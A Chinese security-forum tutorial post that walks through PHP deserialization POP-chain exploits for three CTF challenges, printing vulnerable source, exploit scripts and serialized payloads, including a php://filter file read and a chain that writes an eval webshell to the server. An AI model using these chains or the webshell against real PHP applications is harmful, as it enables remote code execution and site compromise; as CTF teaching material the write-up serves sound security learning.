安全矩阵

 找回密码
 立即注册
搜索
查看: 2361|回复: 0

经验分享 | PHP-反序列化(超细的)(下)

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-7-10 11:55:03 | 显示全部楼层 |阅读模式
原文链接:经验分享 | PHP-反序列化(超细的
例2:[MRCTF2020]Ezpop
  1. <?php

  2. class Modifier {
  3.     protected  $var;
  4.     public function append($value){
  5.         include($value);
  6.     }
  7.     public function __invoke(){
  8.         $this->append($this->var);
  9.     }
  10. }

  11. class Show{
  12.     public $source;
  13.     public $str;
  14.     public function __construct($file='index.php'){
  15.         $this->source = $file;
  16.         echo 'Welcome to '.$this->source."<br>";
  17.     }
  18.     public function __toString(){
  19.         return $this->str->source;
  20.     }

  21.     public function __wakeup(){
  22.         if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
  23.             echo "hacker";
  24.             $this->source = "index.php";
  25.         }
  26.     }
  27. }

  28. class Test{
  29.     public $p;
  30.     public function __construct(){
  31.         $this->p = array();
  32.     }

  33.     public function __get($key){
  34.         $function = $this->p;
  35.         return $function();
  36.     }
  37. }

  38. if(isset($_GET['pop'])){
  39.     @unserialize($_GET['pop']);
  40. }
  41. else{
  42.     $a=new Show;
  43.     highlight_file(__FILE__);
  44. }
复制代码

首先看看所涉及到的魔术方法:
__construct()  当一个对象创建时被调用
__toString()  当一个对象被当作一个字符串使用
__wakeup()  将在反序列化之后立即被调用
__get()  访问不存在的成员变量时调用的
__invoke()  将对象当作函数来使用时执行此方法
我们可以先一个一个类看看怎么利用
Modifier类:
  1. <?php

  2. highlight_file(__FILE__);

  3. class Modifier {
  4.     protected  $var = 'info.php';

  5.     public function append($value){
  6.         include($value);
  7.     }

  8.     public function __invoke(){
  9.         echo '__invoke'."<br>";
  10.         $this->append($this->var);
  11.     }
  12. }

  13. $a = new Modifier();
  14. $a();
复制代码

这里假设需要 include 的文件是info.php
简单解释一下代码的意思,就是我们需要执行append方法,若需要执行该方法可通过__invoke方法执行,也就是当将对象当作函数来使用时执行__invoke方法
所以我们就可以先创建这个对象然后再拿来当函数使用,就会自动触发__invoke方法,从而就可以执行append方法包含info.php文件
运行结果:

接下来是Test类:
  1. class Test{
  2.     public $p;
  3.     public function __construct(){
  4.         $this->p = array();
  5.     }

  6.     public function __get($key){
  7.         $function = $this->p;
  8.         return $function();
  9.     }
  10. }
复制代码


首先是__construct方法初始化设置p是一个数组,这显然不是我们需要的,但我们可以重新初始化,然后是__get方法,访问不存在的成员变量时调用,而且返回的是方法,这不就可以配合第一个Modifier类使用了吗,使用Test类的__get方法调用Modifier类,所以我们可以使Test类初始化将$p的值设为Modifier对象,然后再经过__get方法以函数的方式执行Modifier对象(即访问一个Test类不存在的属性),这样就可以使用Modifier对象的append方法了,如下:
  1. <?php

  2. class Modifier {
  3.     protected  $var = 'info.php';

  4.     public function append($value){
  5.         include($value);
  6.     }

  7.     public function __invoke(){
  8.         echo '__invoke'."<br>";
  9.         $this->append($this->var);
  10.     }
  11. }


  12. class Test{
  13.     public $p;
  14.     public function __construct(){
  15.         $this->p = new Modifier();
  16.     }

  17.     public function __get($key){
  18.         $function = $this->p;
  19.         return $function();
  20.     }
  21. }

  22. $a  = new Test();
  23. $a->no;
  24. ?>
复制代码


运行结果:

最后是这个Show类:
  1. class Show{
  2.     public $source;
  3.     public $str;
  4.     public function __construct($file='index.php'){
  5.         $this->source = $file;
  6.         echo 'Welcome to '.$this->source."<br>";
  7.     }
  8.     public function __toString(){
  9.         return $this->str->source;
  10.     }

  11.     public function __wakeup(){
  12.         if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
  13.             echo "hacker";
  14.             $this->source = "index.php";
  15.         }
  16.     }
  17. }
复制代码

首先使用unserialize会先触发__wakeup方法,这个方法在这里其实就是充当过滤字符,接着是初始化方法,这个方法有个关键的地方就是使用了echo打印字符串,并且将source拼接起来打印,而__toString() 就是当一个对象被当作一个字符串时调用,正好可以利用初始化方法的echo去完成调用。分析了这么多,最后就可以构造最终的pop链了,先上payload再继续讲
  1. <?php

  2. class Modifier {
  3.     protected  $var = 'info.php';
  4. }

  5. class Show{
  6.     public $source;
  7.     public $str;
  8.     public function __construct($file){
  9.         $this->source = $file;
  10.         echo 'Welcome to '.$this->source."<br>";
  11.     }
  12.     public function __toString(){
  13.         return "566";
  14.     }
  15. }

  16. class Test{
  17.     public $p;
  18.     public function __construct(){
  19.         $this->p = new Modifier();
  20.     }
  21. }

  22. $a = new Show('spaceman');
  23. $a->str = new Test();
  24. $c = new Show($a);
  25. echo serialize($c);
复制代码


运行结果有不可显示字符%00这里我手动加上了,所以可以使用urlencode一下,我这里是为了更直观的查看所以直接序列化

  1. Welcome to spaceman
  2. Welcome to 566
  3. O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:8:"spaceman";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:8:"info.php";}}}s:3:"str";N;}
  4. $a = new Show('spaceman');
复制代码

首先是new一个Show对象,然后初始化source的值,如spaceman等字符,这个没多大影响,只是为了调用Test类中的__get方法,那如何调用的呢$a->str = new Test();
将Show类的str属性设为new Test()
$c = new Show($a);
然后再用Show类初始化刚刚构造的Show类,这里可能就有点绕了,为何我们需要这样构造呢,因为我们需要触发Show的__toString()方法,让str能调用source,而经过刚刚的赋值,str为new Test(),source为new Show('spaceman')中的 spaceman ,那么__toString方法中的str->source就是访问Test类中的spaceman属性,然而Test类没有spaceman属性,那么就会触发__get方法,而该方法又会触发Modifier类中的__invoke方法,最后就完成了include
所以大概调用的过程是:
Show::__toString()-->Test::__get()-->Modifier::__invoke()执行结果:

当然这是文件包含,那么想要读取文件应该怎么办呢,可以php伪协议使用,所以可以这样构造读取文件
​​
  1. <?php

  2. class Modifier {
  3.     protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
  4. }

  5. class Show{
  6.     public $source;
  7.     public $str;
  8.     public function __construct($file){
  9.         $this->source = $file;
  10.         echo 'Welcome to '.$this->source."<br>";
  11.     }
  12.     public function __toString(){
  13.         return "566";
  14.     }
  15. }

  16. class Test{
  17.     public $p;
  18.     public function __construct(){
  19.         $this->p = new Modifier();
  20.     }
  21. }

  22. $a = new Show('spaceman');
  23. $a->str = new Test();
  24. $c = new Show($a);
  25. echo serialize($c);

  26. //O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:8:"spaceman";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
复制代码

运行结果:
执行:

最后base64解码即可
例3:
ctfshow 反序列化web261
  1. <?php

  2. highlight_file(__FILE__);

  3. class ctfshowvip{
  4.     public $username;
  5.     public $password;
  6.     public $code;

  7.     public function __construct($u,$p){
  8.         $this->username=$u;
  9.         $this->password=$p;
  10.     }
  11.     public function __wakeup(){
  12.         if($this->username!='' || $this->password!=''){
  13.             die('error');
  14.         }
  15.     }
  16.     public function __invoke(){
  17.         eval($this->code);
  18.     }

  19.     public function __sleep(){
  20.         $this->username='';
  21.         $this->password='';
  22.     }
  23.     public function __unserialize($data){
  24.         $this->username=$data['username'];
  25.         $this->password=$data['password'];
  26.         $this->code = $this->username.$this->password;
  27.     }
  28.     public function __destruct(){
  29.         if($this->code==0x36d){
  30.             file_put_contents($this->username, $this->password);
  31.         }
  32.     }
  33. }

  34. unserialize($_GET['vip']);
复制代码


首先呢了解一个上文没讲过的__unserialize()方法, 反序列化函数,用于序列化的SET类型数据。如果参数不是序列化的SET,那么会直接返回。如果是一个序列化的SET,但不是PHP-REDIS序列化的格式,函数将抛出一个异常。
Examples:
  1. $redis->setOpt(Redis::OPT_SERIALIZER, Redis::SERIALIZER_PHP);
  2. $redis->_unserialize('a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}'); // Will return Array(1,2,3)
复制代码

所以我们此时应该先想怎么序列化__sleep()serialize之前被调用,可以指定要序列化的对象属性。所以在反序列化的时候就没啥用了,我们自己序列化的时候也不加,而__unserialize在序列化的时候也用不到,__wakeup是反序列化恢复对象之前调用的方法,所以跟序列化也没啥关系,__invoke() 是将对象当作函数来使用时执行此方法,但是我发现并不需要调用此方法,因为__destruct()方法中有file_put_contents函数可以写文件,所以我们需要满足 code==0x36d 即可将文件写入,这里不难发现是弱类型比较,所以887.php==0x36d是成立的,所以我们可以直接构造如下:
  1. <?php
  2. class ctfshowvip{
  3.     public $username;
  4.     public $password;

  5.     public function __construct($u,$p){
  6.         $this->username=$u;
  7.         $this->password=$p;
  8.     }
  9. }
  10. $a = new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
  11. echo serialize($a);
复制代码

为什么可以直接这样构造而不被__wakeup()拦截呢,因为含有__unserialize(),就是当一个类中同时含有这两个方法时只有__unserialize生效,而__wakeup()失效,如下:
  1. <?php

  2. highlight_file(__FILE__);

  3. class ctfshowvip{
  4.     public $username;
  5.     public $password;
  6.     public $code;

  7.     public function __construct($u,$p){
  8.       echo "__construct()<br>";
  9.         $this->username=$u;
  10.         $this->password=$p;
  11.     }

  12.     public function __wakeup(){
  13.       echo "__wakeup()<br>";
  14.         if($this->username!='' || $this->password!=''){
  15.             die('error');
  16.         }
  17.     }

  18.     public function __invoke(){
  19.       echo "__invoke()<br>";
  20.         eval($this->code);
  21.     }

  22.     public function __sleep(){
  23.       echo "__sleep()<br>";
  24.         $this->username='';
  25.         $this->password='';
  26.     }

  27.     public function __unserialize($data){
  28.       echo "__unserialize()<br>";
  29.         $this->username=$data['username'];
  30.         $this->password=$data['password'];
  31.         $this->code = $this->username.$this->password;
  32.         var_dump($data);
  33.         echo "<br>";
  34.         echo $this->code;
  35.         echo "<br>";

  36.     }

  37.     public function __destruct(){
  38.       echo "__destruct()<br>";
  39.         if($this->code==0x36d){
  40.           echo "file_put_contents-----good!<br>";
  41.         }
  42.     }
  43. }

  44. unserialize($_GET['vip']);
  45. 运行结果:

  46. __unserialize()
  47. array(2) { ["username"]=> string(7) "877.php" ["password"]=> string(24) "<?php eval($_POST[1]);?>" }
  48. 877.php
  49. __destruct()
  50. file_put_contents-----good!
  51. 成功写入木马,剩下的操作就不说了
复制代码


例4:
2021蓝帽杯半决赛-杰克与肉丝
源码:
  1. <?php
  2. highlight_file(__file__);     
  3. class Jack   
  4. {
  5.     private $action;   
  6.     function __set($a, $b)
  7. {
  8.         $b->$a();
  9.     }
  10. }
  11. class Love {
  12.     public $var;
  13.     function __call($a,$b)
  14. {
  15.         $rose = $this->var;
  16.         call_user_func($rose);
  17.     }
  18.     private function action(){
  19.         echo "jack love rose";
  20.     }
  21. }
  22. class Titanic{
  23.     public $people;
  24.     public $ship;
  25.     function __destruct(){
  26.         $this->people->action=$this->ship;
  27.     }
  28. }
  29. class Rose{
  30.     public $var1;
  31.     public $var2;
  32.     function __invoke(){
  33.         //if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
  34.             eval($this->var1);
  35.         //}
  36.     }
  37. }
  38. if(isset($_GET['love'])){
  39.     $sail=$_GET['love'];
  40.     unserialize($sail);
  41. }
  42. ?>
复制代码

为了不受其他因素干扰,我先把这个Rose类__invoke函数的if语句注释,就是为了更方便的看看怎么构造的,所以首先我们应该直接寻找我们最后利用的函数eval,然后利用逆推的方式,看看是如何触发该函数的,就是看看怎么调用的,invoke() 将对象当作函数来使用时执行此方法,所以刚刚开始我们依旧可以慢慢一步一步测试分析,慢慢一步一步调用
  1. <?php

  2. class Rose{
  3.     public $var1 = "phpinfo();";
  4.     public $var2;
  5.     function __invoke(){
  6.             eval($this->var1);
  7.     }
  8. }

  9. $a  = new Rose();
  10. echo $a->var1;
  11. $a();
复制代码



现在是构造出来了,接着是看看怎么才能调用这个类,而Love类有一个是函数以函数的方式,call_user_func 是把第一个参数作为回调函数调用,正好符合了我们需要构造的,所以我们又看一下这个函数是怎么触发的,__call 当调用对象中不存在的方法会自动调用该方法,由于call_user_func回调的参数是$rose,$rose又是直接等于$var,所以我们需要先给$var赋值,这个值就是Rose类,这样call_user_func回调时就拿Rose类当函数执行,这样就可以出发Rose类的eval了
  1. <?php

  2. class Love{
  3.     public $var;
  4.     function __call($a,$b)
  5. {
  6.         $rose = $this->var;
  7.         echo "$a function not find!<br>";
  8.         call_user_func($rose);
  9.     }
  10.     private function action(){
  11.         echo "jack love rose";
  12.     }
  13. }

  14. class Rose{
  15.     public $var1 = "phpinfo();";
  16.     public $var2;
  17.     function __invoke(){
  18.         echo $this->var1;
  19.             eval($this->var1);
  20.     }
  21. }

  22. $a = new Rose();
  23. $b = new Love();
  24. $b->var = $a;
  25. $b->spaceman(566); //不存在的spaceman函数
复制代码



然后我们继续寻找一下如何在别的类里找一个不存在的函数,$b->spaceman(566) 这样的形式Jack类就有,正好又可以构造了,然后我们再看一下怎么触发Jack类中的这个形式,__set 设置对象不存在的属性或无法访问(私有)的属性时调用,这里的$action是私有的,所以我们可以利用这个action
  1. <?php

  2. class Jack{
  3.     private $action;   
  4.     function __set($a, $b)
  5. {
  6.       echo "good! I run!<br>";
  7.         $b->$a();
  8.     }
  9. }

  10. class Love{
  11.     public $var;
  12.     function __call($a,$b)
  13. {
  14.         $rose = $this->var;
  15.         echo "$a function not find!<br>";
  16.         call_user_func($rose);
  17.     }
  18.     private function action(){
  19.         echo "jack love rose";
  20.     }
  21. }

  22. class Rose{
  23.     public $var1 = "phpinfo();";
  24.     public $var2;
  25.     function __invoke(){
  26.         echo $this->var1;
  27.             eval($this->var1);
  28.     }
  29. }

  30. $a = new Rose();
  31. $b = new Love();
  32. $b->var = $a;
  33. $c = new Jack();
  34. $c->action = $b;
复制代码

其实这里不用action其实也是可以的,随便一个名字都行,但是这里用action是因为等下需要,因为我们需要利用这个action,那么就是接下来怎么触发这个Jack类了,源码中只有一个unserialize,而要想触发这一系列的类,只有Titanic类符合开始的条件,因为只有Titanic类的__destruct魔法函数触发,所以这就是我们序列化的入口,__destruct当对象所在函数调用完毕后执行。最后就是用Titanic类将这些类都连接在一起
  1. <?php

  2. class Titanic{
  3.     public $people;
  4.     public $ship;
  5.     function __destruct(){
  6.         $this->people->action=$this->ship;
  7.     }
  8. }

  9. class Jack{
  10.     private $action;   
  11.     function __set($a, $b)
  12. {
  13.       echo "good! I run!<br>";
  14.         $b->$a();
  15.     }
  16. }

  17. class Love{
  18.     public $var;
  19.     function __call($a,$b)
  20. {
  21.         $rose = $this->var;
  22.         echo "$a function not find!<br>";
  23.         call_user_func($rose);
  24.     }
  25.     private function action(){
  26.         echo "jack love rose";
  27.     }
  28. }

  29. class Rose{
  30.     public $var1 = "phpinfo();";
  31.     public $var2;
  32.     function __invoke(){
  33.         echo $this->var1;
  34.             eval($this->var1);
  35.     }
  36. }

  37. $s = new Titanic();
  38. $s->people = new Jack();
  39. $s->ship = new Love();
  40. $s->ship->var = new Rose();
  41. echo urlencode(serialize($s));
  42. echo "<br>";
复制代码



最后将序列化后得到的数据输入源码中即可

结束语哈哈哈,下次一定好好更新,下次一定
本次主要是讲了php反序列中常用魔术方法怎么触发以及怎么构造pop链,在实战中有的漏洞就是通过源码审计反序列化来导致RCE的,比如thinkphp5.1.*就存在一个RCE的pop链,这个我之后也会进行更新,构造pop链就是需要耐心也细心,一开始都不容易,我个人使用的是逆推的方法,就是从最后的命令执行往前推,需要啥就找啥,有的师傅是习惯从头到尾,我比较菜,只能从后面慢慢测试慢慢往前推,最后感谢关注我的朋友们,我会更加努力学习,尽量帮师傅们更快掌握一些知识,以后会尽量更新文章,谢谢师傅们!




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 10:42 , Processed in 0.013594 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表